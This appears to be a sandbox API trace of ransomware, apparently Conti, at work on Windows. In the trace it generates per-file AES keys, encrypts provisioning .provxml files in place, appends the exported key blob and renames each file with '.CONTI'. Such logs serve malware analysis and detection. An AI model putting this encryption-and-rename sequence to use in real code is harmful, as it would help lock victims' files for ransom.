	[0111.938] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\456__Connections_Cellular_VF KKTC Telsim (Cyprus)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\456__connections_cellular_vf kktc telsim (cyprus)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0111.938] GetLastError () returned 0x0
	[0111.938] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x3bbfd90 | out: lpFileSize=0x3bbfd90*=729) returned 1
	[0111.938] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d9
	[0111.938] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x22b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.938] SetEndOfFile (hFile=0x384) returned 1
	[0111.938] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.938] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.938] WriteFile (in: hFile=0x384, lpBuffer=0x1805bfc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3bbfd9c, lpOverlapped=0x0 | out: lpBuffer=0x1805bfc*, lpNumberOfBytesWritten=0x3bbfd9c*=0x20c, lpOverlapped=0x0) returned 1
	[0111.941] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.941] ReadFile (in: hFile=0x384, lpBuffer=0x9880000, nNumberOfBytesToRead=0x2d9, lpNumberOfBytesRead=0x3bbfdbc, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesRead=0x3bbfdbc*=0x2d9, lpOverlapped=0x0) returned 1
	[0111.941] CryptEncrypt (in: hKey=0x6b7f2b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x2d9, dwBufLen=0x500000 | out: pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x2e0) returned 1
	[0111.941] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.941] WriteFile (in: hFile=0x384, lpBuffer=0x9880000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x3bbfdd0, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesWritten=0x3bbfdd0*=0x2e0, lpOverlapped=0x0) returned 1
	[0111.942] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.942] WriteFile (in: hFile=0x384, lpBuffer=0x1805bf0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3bbfde8, lpOverlapped=0x0 | out: lpBuffer=0x1805bf0*, lpNumberOfBytesWritten=0x3bbfde8*=0x8, lpOverlapped=0x0) returned 1
	[0111.942] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.942] CloseHandle (hObject=0x384) returned 1
	[0111.942] GetProcessHeap () returned 0x1720000
	[0111.942] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0111.942] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\456__Connections_Cellular_VF KKTC Telsim (Cyprus)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\456__Connections_Cellular_VF KKTC Telsim (Cyprus)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\456__Connections_Cellular_VF KKTC Telsim (Cyprus)_i0$(__MVID)@WAP.provxml"
	[0111.942] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\456__Connections_Cellular_VF KKTC Telsim (Cyprus)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\456__Connections_Cellular_VF KKTC Telsim (Cyprus)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\456__Connections_Cellular_VF KKTC Telsim (Cyprus)_i0$(__MVID)@WAP.provxml.CONTI"
	[0111.942] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\456__Connections_Cellular_VF KKTC Telsim (Cyprus)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\456__connections_cellular_vf kktc telsim (cyprus)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\456__Connections_Cellular_VF KKTC Telsim (Cyprus)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\456__connections_cellular_vf kktc telsim (cyprus)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0111.943] GetProcessHeap () returned 0x1720000
	[0111.943] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0111.943] CryptDestroyKey (hKey=0x6b7f2b8) returned 1
	[0111.943] GetProcessHeap () returned 0x1720000
	[0111.943] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d1268 | out: hHeap=0x1720000) returned 1
	[0111.943] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20) returned 1
	[0111.943] CryptGenKey (in: hProv=0x174e540, Algid=0x6610, dwFlags=0x1, phKey=0x1804770 | out: phKey=0x1804770*=0x6b7f378) returned 1
	[0111.943] CryptExportKey (in: hKey=0x6b7f378, hExpKey=0x173a850, dwBlobType=0x1, dwFlags=0x0, pbData=0x1804774, pdwDataLen=0x3bbfde4 | out: pbData=0x1804774*, pdwDataLen=0x3bbfde4*=0x20c) returned 1
	[0111.943] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\457__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\457__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0111.944] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\457__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\457__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0111.944] GetLastError () returned 0x0
	[0111.944] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x3bbfd90 | out: lpFileSize=0x3bbfd90*=480) returned 1
	[0111.944] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1e0
	[0111.944] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.944] SetEndOfFile (hFile=0x384) returned 1
	[0112.823] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.823] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.824] WriteFile (in: hFile=0x384, lpBuffer=0x1804774*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3bbfd9c, lpOverlapped=0x0 | out: lpBuffer=0x1804774*, lpNumberOfBytesWritten=0x3bbfd9c*=0x20c, lpOverlapped=0x0) returned 1
	[0112.827] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.827] ReadFile (in: hFile=0x384, lpBuffer=0x9880000, nNumberOfBytesToRead=0x1e0, lpNumberOfBytesRead=0x3bbfdbc, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesRead=0x3bbfdbc*=0x1e0, lpOverlapped=0x0) returned 1
	[0112.828] CryptEncrypt (in: hKey=0x6b7f378, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x1e0, dwBufLen=0x500000 | out: pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x1f0) returned 1
	[0112.828] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.828] WriteFile (in: hFile=0x384, lpBuffer=0x9880000*, nNumberOfBytesToWrite=0x1f0, lpNumberOfBytesWritten=0x3bbfdd0, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesWritten=0x3bbfdd0*=0x1f0, lpOverlapped=0x0) returned 1
	[0112.828] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.828] WriteFile (in: hFile=0x384, lpBuffer=0x1804768*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3bbfde8, lpOverlapped=0x0 | out: lpBuffer=0x1804768*, lpNumberOfBytesWritten=0x3bbfde8*=0x8, lpOverlapped=0x0) returned 1
	[0112.828] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.828] CloseHandle (hObject=0x384) returned 1
	[0112.830] GetProcessHeap () returned 0x1720000
	[0112.830] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b130
	[0113.425] lstrcpyW (in: lpString1=0x653b130, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\457__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\457__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\457__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0113.425] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\457__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\457__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\457__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI"
	[0113.425] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\457__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\457__cellular_persimsettings_$(__iccid)_appid.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\457__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\457__cellular_persimsettings_$(__iccid)_appid.provxml.conti")) returned 1
	[0113.426] GetProcessHeap () returned 0x1720000
	[0113.426] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b130 | out: hHeap=0x1720000) returned 1
	[0113.426] CryptDestroyKey (hKey=0x6b7f378) returned 1
	[0113.426] GetProcessHeap () returned 0x1720000
	[0113.426] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b812d8 | out: hHeap=0x1720000) returned 1
	[0113.426] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20) returned 1
	[0113.426] CryptGenKey (in: hProv=0x174e540, Algid=0x6610, dwFlags=0x1, phKey=0x65bce68 | out: phKey=0x65bce68*=0x17c7cf0) returned 1
	[0113.426] CryptExportKey (in: hKey=0x17c7cf0, hExpKey=0x173a850, dwBlobType=0x1, dwFlags=0x0, pbData=0x65bce6c, pdwDataLen=0x3bbfde4 | out: pbData=0x65bce6c*, pdwDataLen=0x3bbfde4*=0x20c) returned 1
	[0113.427] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\609__Connections_Cellular_Tata Docomo (India)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\609__connections_cellular_tata docomo (india)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0113.427] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\609__Connections_Cellular_Tata Docomo (India)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\609__connections_cellular_tata docomo (india)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0
	[0113.428] GetLastError () returned 0x0
	[0113.428] GetFileSizeEx (in: hFile=0x3f0, lpFileSize=0x3bbfd90 | out: lpFileSize=0x3bbfd90*=718) returned 1
	[0113.428] SetFilePointer (in: hFile=0x3f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2ce
	[0113.428] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.428] SetEndOfFile (hFile=0x3f0) returned 1
	[0113.428] SetFilePointer (in: hFile=0x3f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.428] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.428] WriteFile (in: hFile=0x3f0, lpBuffer=0x65bce6c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3bbfd9c, lpOverlapped=0x0 | out: lpBuffer=0x65bce6c*, lpNumberOfBytesWritten=0x3bbfd9c*=0x20c, lpOverlapped=0x0) returned 1
	[0113.435] SetFilePointer (in: hFile=0x3f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.435] ReadFile (in: hFile=0x3f0, lpBuffer=0x9880000, nNumberOfBytesToRead=0x2ce, lpNumberOfBytesRead=0x3bbfdbc, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesRead=0x3bbfdbc*=0x2ce, lpOverlapped=0x0) returned 1
	[0113.435] CryptEncrypt (in: hKey=0x17c7cf0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x2ce, dwBufLen=0x500000 | out: pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x2d0) returned 1
	[0113.435] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.435] WriteFile (in: hFile=0x3f0, lpBuffer=0x9880000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x3bbfdd0, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesWritten=0x3bbfdd0*=0x2d0, lpOverlapped=0x0) returned 1
	[0113.435] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.435] WriteFile (in: hFile=0x3f0, lpBuffer=0x65bce60*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3bbfde8, lpOverlapped=0x0 | out: lpBuffer=0x65bce60*, lpNumberOfBytesWritten=0x3bbfde8*=0x8, lpOverlapped=0x0) returned 1
	[0113.435] SetFilePointer (in: hFile=0x3f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.435] CloseHandle (hObject=0x3f0) returned 1
	[0113.435] GetProcessHeap () returned 0x1720000
	[0113.435] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b130
	[0113.435] lstrcpyW (in: lpString1=0x653b130, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\609__Connections_Cellular_Tata Docomo (India)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\609__Connections_Cellular_Tata Docomo (India)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\609__Connections_Cellular_Tata Docomo (India)_i1$(__MVID)@WAP.provxml"
	[0113.435] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\609__Connections_Cellular_Tata Docomo (India)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\609__Connections_Cellular_Tata Docomo (India)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\609__Connections_Cellular_Tata Docomo (India)_i1$(__MVID)@WAP.provxml.CONTI"
	[0113.435] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\609__Connections_Cellular_Tata Docomo (India)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\609__connections_cellular_tata docomo (india)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\609__Connections_Cellular_Tata Docomo (India)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\609__connections_cellular_tata docomo (india)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0113.436] GetProcessHeap () returned 0x1720000
	[0113.436] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b130 | out: hHeap=0x1720000) returned 1
	[0113.436] CryptDestroyKey (hKey=0x17c7cf0) returned 1
	[0113.436] GetProcessHeap () returned 0x1720000
	[0113.436] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65ce4c8 | out: hHeap=0x1720000) returned 1
	[0113.436] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20) returned 1
	[0113.436] CryptGenKey (in: hProv=0x174e540, Algid=0x6610, dwFlags=0x1, phKey=0x65bd0b0 | out: phKey=0x65bd0b0*=0x17c7830) returned 1
	[0113.436] CryptExportKey (in: hKey=0x17c7830, hExpKey=0x173a850, dwBlobType=0x1, dwFlags=0x0, pbData=0x65bd0b4, pdwDataLen=0x3bbfde4 | out: pbData=0x65bd0b4*, pdwDataLen=0x3bbfde4*=0x20c) returned 1
	[0113.437] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\610__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\610__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20
	[0113.437] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\610__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\610__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0
	[0113.437] GetLastError () returned 0x0
	[0113.438] GetFileSizeEx (in: hFile=0x3f0, lpFileSize=0x3bbfd90 | out: lpFileSize=0x3bbfd90*=469) returned 1
	[0113.438] SetFilePointer (in: hFile=0x3f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1d5
	[0113.438] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x22f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.438] SetEndOfFile (hFile=0x3f0) returned 1
	[0113.443] SetFilePointer (in: hFile=0x3f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.444] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.444] WriteFile (in: hFile=0x3f0, lpBuffer=0x65bd0b4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3bbfd9c, lpOverlapped=0x0 | out: lpBuffer=0x65bd0b4*, lpNumberOfBytesWritten=0x3bbfd9c*=0x20c, lpOverlapped=0x0) returned 1
	[0113.449] SetFilePointer (in: hFile=0x3f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.449] ReadFile (in: hFile=0x3f0, lpBuffer=0x9880000, nNumberOfBytesToRead=0x1d5, lpNumberOfBytesRead=0x3bbfdbc, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesRead=0x3bbfdbc*=0x1d5, lpOverlapped=0x0) returned 1
	[0113.449] CryptEncrypt (in: hKey=0x17c7830, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x1d5, dwBufLen=0x500000 | out: pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x1e0) returned 1
	[0113.449] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.449] WriteFile (in: hFile=0x3f0, lpBuffer=0x9880000*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x3bbfdd0, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesWritten=0x3bbfdd0*=0x1e0, lpOverlapped=0x0) returned 1
	[0113.449] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.449] WriteFile (in: hFile=0x3f0, lpBuffer=0x65bd0a8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3bbfde8, lpOverlapped=0x0 | out: lpBuffer=0x65bd0a8*, lpNumberOfBytesWritten=0x3bbfde8*=0x8, lpOverlapped=0x0) returned 1
	[0113.449] SetFilePointer (in: hFile=0x3f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.449] CloseHandle (hObject=0x3f0) returned 1
	[0113.449] GetProcessHeap () returned 0x1720000
	[0113.449] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b130
	[0113.450] lstrcpyW (in: lpString1=0x653b130, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\610__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\610__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\610__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml"
